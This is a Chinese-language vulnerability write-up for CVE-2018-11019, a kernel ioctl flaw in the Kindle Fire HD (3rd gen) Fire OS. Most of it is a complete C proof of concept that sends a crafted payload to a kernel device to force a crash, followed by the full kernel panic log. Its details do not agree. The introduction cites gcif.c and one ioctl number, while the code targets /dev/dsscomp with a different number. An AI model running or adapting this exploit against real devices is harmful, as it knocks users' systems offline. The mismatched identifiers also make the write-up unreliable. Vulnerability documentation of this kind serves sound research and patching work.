# CVE-2018-11019）Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞
## 一、漏洞简介
Amazon Kindle Fire HD（3rd）是美国亚马逊（Amazon）公司的一款Fire OS平板电脑设备。Fire OS是运行在其中的一套专用于Amazon设备的基于Android开发的移动操作系统。kernel是其中的一个内核组件。 Amazon Kindle Fire HD(3rd) Fire OS 4.5.5.3版本中的kernel组件的kernel/omap/drivers/misc/gcx/gcioctl/gcif.c文件存在安全漏洞。攻击者可借助3221773726命令利用该漏洞注入特制的参数，造成内核崩溃。
## 二、漏洞影响
Fire OS 4.5.5.3
## 三、复现过程
### poc
```
/*
* This is poc of Kindle Fire HD 3rd
* A bug in the ioctl interface of device file /dev/dsscomp causes the system crash via IOCTL 1118064517.
* Related buggy struct name is dsscomp_setup_dispc_data.
* This Poc should run with permission to do ioctl on /dev/dsscomp.
*
* The fowllwing is kmsg of kernel crash infomation:
*
*
*/
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
const static char *driver = "/dev/dsscomp";
static command = 1118064517;
int main(int argc, char **argv, char **env) {
unsigned int payload[] = {
0xffffffff,
0x00000003,
0x5d200040,
0x79900008,
0x8f5928bd,
0x78b02422,
0x00000000,
0xffffffff,
0xf4c50400,
0x007fffff,
0x8499f562,
0xffff0400,
0x001b131d,
0x60818210,
0x00000007,
0xffffffff,
0x00000000,
0x9da9041c,
0xcd980400,
0x001f03f4,
0x00000007,
0x2a34003f,
0x7c80d8f3,
0x63102627,
0xc73643a8,
0xa28f0665,
0x00000000,
0x689e57b4,
0x01ff0008,
0x5e7324b1,
0xae3b003f,
0x0b174d86,
0x00000400,
0x21ffff37,
0xceb367a4,
0x00000040,
0x00000001,
0xec000f9e,
0x00000001,
0x000001ff,
0x00000000,
0x00000000,
0x0000000f,
0x0425c069,
0x038cc3be,
0x0000000f,
0x00000080,
0xe5790100,
0x5b1bffff,
0x0000d355,
0x0000c685,
0xa0070000,
0x0010ffff,
0x00a0ff00,
0x00000001,
0xff490700,
0x0832ad03,
0x00000006,
0x00000002,
0x00000001,
0x81f871c0,
0x738019cb,
0xbf47ffff,
0x00000040,
0x00000001,
0x7f190f33,
0x00000001,
0x8295769b,
0x0000003f,
0x869f2295,
0xffffffff,
0xd673914f,
0x05055800,
0xed69b7d5,
0x00000000,
0x0107ebbd,
0xd214af8d,
0xffff4a93,
0x26450008,
0x58df0000,
0xd16db084,
0x03ff30dd,
0x00000001,
0x209aff3b,
0xe7850800,
0x00000002,
0x30da815c,
0x426f5105,
0x0de109d7,
0x2c1a65fc,
0xfcb3d75f,
0x00000000,
0x00000001,
0x8066be5b,
0x00000002,
0xffffffff,
0x5cf232ec,
0x680d1469,
0x00000001,
0x00000020,
0xffffffff,
0x00000400,
0xd1d12be8,
0x02010200,
0x01ffc16f,
0xf6e237e6,
0x007f0000,
0x01ff08f8,
0x000f00f9,
0xbad07695,
0x00000000,
0xbaff0000,
0x24040040,
0x00000006,
0x00000004,
0x00000000,
0xbc2e9242,
0x009f5f08,
0x00800000,
0x00000000,
0x00000001,
0xff8800ff,
0x00000001,
0x00000000,
0x000003f4,
0x6faa8472,
0x00000400,
0xec857dd5,
0x00000000,
0x00000040,
0xffffffff,
0x3f004874,
0x0000b77a,
0xec9acb95,
0xfacc0001,
0xffff0001,
0x0080ffff,
0x3600ff03,
0x00000001,
0x8fff7d7f,
0x6b87075a,
0x00000000,
0x41414141,
0x41414141,
0x41414141,
0x41414141,
0x001001ff,
0x00000000,
0x00000001,
0xff1f0512,
0x00000001,
0x51e32167,
0xc18c55cc,
0x00000000,
0xffffffff,
0xb4aaf12b,
0x86edfdbd,
0x00000010,
0x0000003f,
0xabff7b00,
0xffff9ea3,
0xb28e0040,
0x000fffff,
0x458603f4,
0xffff007f,
0xa9030f02,
0x00000001,
0x002cffff,
0x9e00cdff,
0x00000004,
0x41414141,
0x41414141,
0x41414141,
0x41414141 };
int fd = 0;
fd = open(driver, O_RDWR);
if (fd < 0) {
printf("Failed to open %s, with errno %d\n", driver, errno);
system("echo 1 > /data/local/tmp/log");
return -1;
}
printf("Try open %s with command 0x%x.\n", driver, command);
printf("System will crash and reboot.\n");
if(ioctl(fd, command, &payload) < 0) {
printf("Allocation of structs failed, %d\n", errno);
system("echo 2 > /data/local/tmp/log");
return -1;
}
close(fd);
return 0;
}
```
### 崩溃日志
```
[ 164.793151] Unable to handle kernel NULL pointer dereference at virtual address 00000037
[ 164.802459] pgd = c26ec000
[ 164.805664] [00000037] *pgd=82f42831, *pte=00000000, *ppte=00000000
[ 164.813415] Internal error: Oops: 17 [#1] PREEMPT SMP ARM
[ 164.819458] Modules linked in: omaplfb(O) pvrsrvkm(O) pvr_logger(O)
[ 164.827239] CPU: 1 Tainted: G O (3.4.83-gd2afc0bae69 #1)
[ 164.834686] PC is at dev_ioctl+0x4ac/0x10c4
[ 164.839416] LR is at down_timeout+0x40/0x5c
[ 164.844146] pc : [<c03178e8>] lr : [<c006e9b8>] psr: 60000013
[ 164.844146] sp : c25a1e70 ip : c25a1e50 fp : c25a1f04
[ 164.857116] r10: 00000000 r9 : d8c0aca8 r8 : bed5c610
[ 164.863128] r7 : c0a25b50 r6 : c25a0000 r5 : bed5c610 r4 : 0000000f
[ 164.870391] r3 : 00001403 r2 : 00000000 r1 : 20000013 r0 : 00000000
[ 164.877807] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user
[ 164.885894] Control: 10c5387d Table: 826ec04a DAC: 00000015
[ 164.892303]
[ 164.892333] PC: 0xc0317868:
[ 164.897308] 7868 30d22003 33a03000 e3530000 0a0001c5 e3e0500d eaffff02 e1a0200d e3c26d7f
[ 164.907989] 7888 e3c6603f e5963008 e2952008 30d22003 33a03000 e3530000 1a000021 e24b3064
[ 164.918670] 78a8 e1a01005 e3a02008 e50b3088 e1a00003 ebfcfa5f e3500000 1a00001e e51b4060
[ 164.929351] 78c8 e3020710 e59f7bdc ebf4db32 e1a01000 e2870038 ebf55c25 e3500000 1a0002e0
[ 164.939880] 78e8 e5943028 e1a08000 e5940024 e1a02007 e2841024 e5803004 e5830000 e5b23070
[ 164.950561] 7908 e5871070 e2420038 e5831004 e5843024 e5842028 ebf55bb9 e50b8060 e50b8064
[ 164.961212] 7928 ea000006 e24b1064 e50b1088 e51b0088 e3a01008 ebfd0387 e3a03004 e50b3064
[ 164.971771] 7948 e5963008 e2952008 30d22003 33a03000 e3530000 1affffc5 e1a00005 e51b1088
[ 164.982299]
[ 164.982330] LR: 0xc006e938:
[ 164.987426] e938 e1a01000 0a000007 e3a05000 e2433001 e5843008 e1a00004 eb18d7ad e1a00005
[ 164.997955] e958 e24bd014 e89da830 e1a00004 e50b1018 eb18d135 e51b1018 e1a05000 eafffff4
[ 165.008636] e978 e1a0c00d e92dd878 e24cb004 e1a04000 e1a05001 eb18d91b e5943008 e3530000
[ 165.019317] e998 e1a06000 0a000007 e3a05000 e2433001 e5843008 e1a00004 e1a01006 eb18d794
[ 165.029846] e9b8 e1a00005 e89da878 e1a01005 e1a00004 eb18d158 e1a05000 eafffff5 e1a0c00d
[ 165.040374] e9d8 e92dd800 e24cb004 e5903000 e1a0c000 e3530000 0a00000b e5910008 e5932008
[ 165.051055] e9f8 e1500002 da000003 ea000006 e5932008 e1520000 ba000003 e283c004 e5933004
[ 165.061737] ea18 e3530000 1afffff8 e5813004 f57ff05f e3a00000 e58c1000 e89da800 e1a0c00d
[ 165.072265]
[ 165.072265] SP: 0xc25a1df0:
[ 165.077362] 1df0 00000001 00000004 d454d000 0000001d c25a1e3c c03178e8 60000013 ffffffff
[ 165.087890] 1e10 c25a1e5c bed5c610 c25a1f04 c25a1e28 c06a5318 c0008370 00000000 20000013
[ 165.098419] 1e30 00000000 00001403 0000000f bed5c610 c25a0000 c0a25b50 bed5c610 d8c0aca8
[ 165.109100] 1e50 00000000 c25a1f04 c25a1e50 c25a1e70 c006e9b8 c03178e8 60000013 ffffffff
[ 165.119781] 1e70 00000001 00000028 000fffff c25a1ea0 c25a1edc c25a1e90 c0207454 c00bd920
[ 165.130340] 1e90 0000001e c2db9600 c25a1ed4 c25a1ea8 ffffffff 0000000f 00000000 ffffffff
[ 165.141021] 1eb0 00000002 00000001 00000000 c25a1f14 00000000 00000001 d8c0aca8 d70c5580
[ 165.151702] 1ed0 c25a1efc c25a1ee0 c02089fc 00000000 c719ab40 00000004 c719ab40 bed5c610
[ 165.162353]
[ 165.162384] IP: 0xc25a1dd0:
[ 165.167327] 1dd0 c0070df8 c00795ac c25a0000 00000001 00000004 d454d0f4 60000013 00000001
[ 165.178009] 1df0 00000001 00000004 d454d000 0000001d c25a1e3c c03178e8 60000013 ffffffff
[ 165.188537] 1e10 c25a1e5c bed5c610 c25a1f04 c25a1e28 c06a5318 c0008370 00000000 20000013
[ 165.199249] 1e30 00000000 00001403 0000000f bed5c610 c25a0000 c0a25b50 bed5c610 d8c0aca8
[ 165.209899] 1e50 00000000 c25a1f04 c25a1e50 c25a1e70 c006e9b8 c03178e8 60000013 ffffffff
[ 165.220581] 1e70 00000001 00000028 000fffff c25a1ea0 c25a1edc c25a1e90 c0207454 c00bd920
[ 165.231109] 1e90 0000001e c2db9600 c25a1ed4 c25a1ea8 ffffffff 0000000f 00000000 ffffffff
[ 165.241790] 1eb0 00000002 00000001 00000000 c25a1f14 00000000 00000001 d8c0aca8 d70c5580
[ 165.252441]
[ 165.252441] FP: 0xc25a1e84:
[ 165.257415] 1e84 c25a1e90 c0207454 c00bd920 0000001e c2db9600 c25a1ed4 c25a1ea8 ffffffff
[ 165.268066] 1ea4 0000000f 00000000 ffffffff 00000002 00000001 00000000 c25a1f14 00000000
[ 165.278717] 1ec4 00000001 d8c0aca8 d70c5580 c25a1efc c25a1ee0 c02089fc 00000000 c719ab40
[ 165.289276] 1ee4 00000004 c719ab40 bed5c610 d8c0aca8 00000000 c25a1f74 c25a1f08 c0136044
[ 165.299926] 1f04 c0317448 00000000 00000000 00000000 00000001 00000000 dd045190 dcf8c440
[ 165.310607] 1f24 c25a1f0c c25a0000 bed5c638 bed5c610 c0085d9e c719ab40 00000004 c25a0000
[ 165.321136] 1f44 00000000 c25a1f64 00000000 bed5c610 c0085d9e c719ab40 00000004 c25a0000
[ 165.331695] 1f64 00000000 c25a1fa4 c25a1f78 c01365e0 c0135fc4 00000000 00000000 00000400
[ 165.342346]
[ 165.342376] R6: 0xc259ff80:
[ 165.347320] ff80 00000093 00000093 0000008d 00000002 00000000 00000000 00000000 00000000
[ 165.358001] ffa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 165.368682] ffc0 00000093 00000093 0000008d 00000002 00000000 00000000 00000000 00000000
[ 165.379241] ffe0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 165.389770] 0000 00000000 00000002 00000000 d72b0980 c0a0e840 00000001 00000015 c265dc00
[ 165.400451] 0020 00000000 c25a0000 c09ddc50 d72b0980 de949300 c1620b40 c25a1b7c c25a1ac8
[ 165.411132] 0040 c06a36e4 00000000 00000000 00000000 00000000 00000000 01000000 00000000
[ 165.421661] 0060 005634c0 5ebcc27f 00000000 00000000 00000000 00000000 00000000 00000000
[ 165.432342]
[ 165.432342] R7: 0xc0a25ad0:
[ 165.437316] 5ad0 00010105 01010005 01040901 00040001 ffff0101 00000000 00000000 00040b03
[ 165.447875] 5af0 01040101 ffff0100 00000000 00000000 0000ffff 00000000 0e0c0000 01010005
[ 165.458526] 5b10 01000105 0000ffff 00000000 0e0c0000 01010005 00000105 01040901 00040001
[ 165.469207] 5b30 ffff0101 00000000 00000000 00040b03 01040101 3f3f0100 00010001 01000001
[ 165.479736] 5b50 00000000 00000000 00000001 c0a25b5c c0a25b5c c0a25b64 c0a25b64 00000000
[ 165.490417] 5b70 00000000 00000001 c0a25b78 c0a25b78 c0a25b80 c0a25b80 00000000 00000000
[ 165.500946] 5b90 00000000 c0a25b94 c0a25b94 c0a25b9c c0a25b9c 00000000 00000000 00000001
[ 165.511627] 5bb0 c0a25bb0 c0a25bb0 c0a25bb8 c0a25bb8 c0a25bc0 c0a25bc0 c0a25bc8 c0a25bc8
[ 165.522186]
[ 165.522186] R9: 0xd8c0ac28:
[ 165.527282] ac28 d8c0ac28 d8c0ac28 00000000 00000000 00000000 c06bc674 000200da c09dda58
[ 165.537841] ac48 00000000 00000000 d8c0ac50 d8c0ac50 00000000 c0aa5174 c0aa5174 c0aa5148
[ 165.548492] ac68 5aefbbda 00000000 00000000 00000000 d8c0ac80 00000000 00000000 00000000
[ 165.559020] ac88 00200000 00000000 00000000 d8c0ac94 d8c0ac94 dd3f6080 dd3f6080 00000000
[ 165.569702] aca8 000521a4 000003e8 000003e8 00000000 00000000 00000000 c06b9600 dd150400
[ 165.580261] acc8 d8c0ad80 dd3ede70 00001064 00000001 0fb00000 5aefbbda 2e19b832 5aefbbda
[ 165.590911] ace8 2e19b832 5aefbbda 2e19b832 00000000 00000000 00000000 00000000 00000000
[ 165.601593] ad08 00000000 00000000 00000000 00000000 00000001 00000000 00000000 d8c0ad24
[ 165.612121] Process gcioctl_poc (pid: 3932, stack limit = 0xc25a02f8)
[ 165.619445] Stack: (0xc25a1e70 to 0xc25a2000)
[ 165.624359] 1e60: 00000001 00000028 000fffff c25a1ea0
[ 165.633605] 1e80: c25a1edc c25a1e90 c0207454 c00bd920 0000001e c2db9600 c25a1ed4 c25a1ea8
[ 165.642822] 1ea0: ffffffff 0000000f 00000000 ffffffff 00000002 00000001 00000000 c25a1f14
[ 165.652038] 1ec0: 00000000 00000001 d8c0aca8 d70c5580 c25a1efc c25a1ee0 c02089fc 00000000
[ 165.661102] 1ee0: c719ab40 00000004 c719ab40 bed5c610 d8c0aca8 00000000 c25a1f74 c25a1f08
[ 165.670318] 1f00: c0136044 c0317448 00000000 00000000 00000000 00000001 00000000 dd045190
[ 165.679565] 1f20: dcf8c440 c25a1f0c c25a0000 bed5c638 bed5c610 c0085d9e c719ab40 00000004
[ 165.688781] 1f40: c25a0000 00000000 c25a1f64 00000000 bed5c610 c0085d9e c719ab40 00000004
[ 165.697875] 1f60: c25a0000 00000000 c25a1fa4 c25a1f78 c01365e0 c0135fc4 00000000 00000000
[ 165.707092] 1f80: 00000400 bed5c638 00010e64 00000000 00000036 c0013e08 00000000 c25a1fa8
[ 165.716308] 1fa0: c0013c60 c0136578 bed5c638 00010e64 00000004 c0085d9e bed5c610 bed5c610
[ 165.725402] 1fc0: bed5c638 00010e64 00000000 00000036 00000000 00000000 00000000 bed5c624
[ 165.734619] 1fe0: 00000000 bed5c5f4 000106a4 0002918c 60000010 00000004 00000000 00000000
[ 165.743835] Backtrace:
[ 165.746856] [<c031743c>] (dev_ioctl+0x0/0x10c4) from [<c0136044>] (do_vfs_ioctl+0x8c/0x5b4)
[ 165.756256] [<c0135fb8>] (do_vfs_ioctl+0x0/0x5b4) from [<c01365e0>] (sys_ioctl+0x74/0x84)
[ 165.765502] [<c013656c>] (sys_ioctl+0x0/0x84) from [<c0013c60>] (ret_fast_syscall+0x0/0x30)
[ 165.774780] r8:c0013e08 r7:00000036 r6:00000000 r5:00010e64 r4:bed5c638
[ 165.783203] Code: e2870038 ebf55c25 e3500000 1a0002e0 (e5943028)
[ 165.793060] Board Information:
[ 165.793060] Revision : 0001
[ 165.793060] Serial : 0000000000000000
[ 165.793090] SoC Information:
[ 165.793090] CPU : OMAP4470
[ 165.793090] Rev : ES1.0
[ 165.793121] Type : HS
[ 165.793121] Production ID: 0002B975-000000CC
[ 165.793121] Die ID : 1CC60000-50002FFF-0B00935D-11007004
[ 165.793121]
[ 165.844757] ---[ end trace aba846a2af6e75b7 ]---
[ 165.850097] Kernel panic - not syncing: Fatal exception
[ 165.856109] CPU0: stopping
[ 165.859252] Backtrace:
[ 165.862274] [<c0018148>] (dump_backtrace+0x0/0x10c) from [<c0698bb8>] (dump_stack+0x18/0x1c)
[ 165.871643] r6:c09ddc50 r5:c09dc844 r4:00000000 r3:c0a0e950
[ 165.878784] [<c0698ba0>] (dump_stack+0x0/0x1c) from [<c0019bd8>] (handle_IPI+0x190/0x1c4)
[ 165.887908] [<c0019a48>] (handle_IPI+0x0/0x1c4) from [<c00084fc>] (gic_handle_irq+0x58/0x60)
[ 165.897399] [<c00084a4>] (gic_handle_irq+0x0/0x60) from [<c06a5380>] (__irq_svc+0x40/0x70)
[ 165.906707] Exception stack(0xd8dcfc38 to 0xd8dcfc80)
[ 165.912384] fc20: c153a9f8 00000000
[ 165.921600] fc40: 00000002 c153aa08 00000007 c153a9f8 d8d72210 b6eaf010 d8caee34 bab7375f
[ 165.930816] fc60: 00000001 d8dcfcac 0009eded d8dcfc80 c010a5b4 c010a5fc 20070013 ffffffff
[ 165.940032] r6:ffffffff r5:20070013 r4:c010a5fc r3:c010a5b4
[ 165.947052] [<c010a534>] (follow_page+0x0/0x238) from [<c010af94>] (__get_user_pages+0x13c/0x3f0)
[ 165.957031] [<c010ae58>] (__get_user_pages+0x0/0x3f0) from [<c010b350>] (get_user_pages+0x50/0x58)
[ 165.967102] [<c010b300>] (get_user_pages+0x0/0x58) from [<c00ff544>] (get_user_pages_fast+0x64/0x7c)
[ 165.977233] r4:d8caee3c
[ 165.980468] [<c00ff4e0>] (get_user_pages_fast+0x0/0x7c) from [<c01eeff0>] (fuse_copy_fill+0x1bc/0x238)
[ 165.990905] [<c01eee34>] (fuse_copy_fill+0x0/0x238) from [<c01ef0a4>] (fuse_copy_one+0x38/0x68)
[ 166.000579] r6:d8dcdb00 r5:d8dce000 r4:d8dcfe24 r3:00000000
[ 166.007690] [<c01ef06c>] (fuse_copy_one+0x0/0x68) from [<c01efe64>] (fuse_dev_do_read+0x3e4/0x69c)
[ 166.017761] r4:dd243c00
[ 166.020874] [<c01efa80>] (fuse_dev_do_read+0x0/0x69c) from [<c01f03c0>] (fuse_dev_read+0x84/0x9c)
[ 166.030853] [<c01f033c>] (fuse_dev_read+0x0/0x9c) from [<c0124ecc>] (do_sync_read+0xb0/0xf0)
[ 166.040222] r7:00000000 r6:00000000 r5:00000000 r4:00000000
[ 166.047363] [<c0124e1c>] (do_sync_read+0x0/0xf0) from [<c01258f4>] (vfs_read+0xa4/0x148)
[ 166.056488] [<c0125850>] (vfs_read+0x0/0x148) from [<c01259d8>] (sys_read+0x40/0x78)
[ 166.065093] r8:00040050 r7:b6eaf010 r6:d8e08900 r5:00000000 r4:00000000
[ 166.073547] [<c0125998>] (sys_read+0x0/0x78) from [<c0013c60>] (ret_fast_syscall+0x0/0x30)
[ 166.082855] r8:c0013e08 r7:00000003 r6:b6eaf008 r5:b73828a0 r4:b6eaf010
[ 166.091217] CPU0 PC (0) : 0xc0019b2c
[ 166.095397] CPU0 PC (1) : 0xc0019b2c
[ 166.099456] CPU0 PC (2) : 0xc0019b2c
[ 166.103515] CPU0 PC (3) : 0xc0019b2c
[ 166.107574] CPU0 PC (4) : 0xc0019b2c
[ 166.111785] CPU0 PC (5) : 0xc0019b2c
[ 166.115814] CPU0 PC (6) : 0xc0019b2c
[ 166.119873] CPU0 PC (7) : 0xc0019b2c
[ 166.124084] CPU0 PC (8) : 0xc0019b2c
[ 166.128112] CPU0 PC (9) : 0xc0019b2c
[ 166.132171] CPU1 PC (0) : 0xc003ee38
[ 166.136352] CPU1 PC (1) : 0xc003ee54
[ 166.140411] CPU1 PC (2) : 0xc003ee54
[ 166.144470] CPU1 PC (3) : 0xc003ee54
[ 166.148681] CPU1 PC (4) : 0xc003ee54
[ 166.152709] CPU1 PC (5) : 0xc003ee54
[ 166.156768] CPU1 PC (6) : 0xc003ee54
[ 166.160980] CPU1 PC (7) : 0xc003ee54
[ 166.165008] CPU1 PC (8) : 0xc003ee54
[ 166.169067] CPU1 PC (9) : 0xc003ee54
[ 166.173126]
[ 166.175048] Restarting Linux version 3.4.83-gd2afc0bae69 (build@14-use1a-b-39) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Tue Sep 19 22:04:47 UTC 2017
[ 166.175079]
```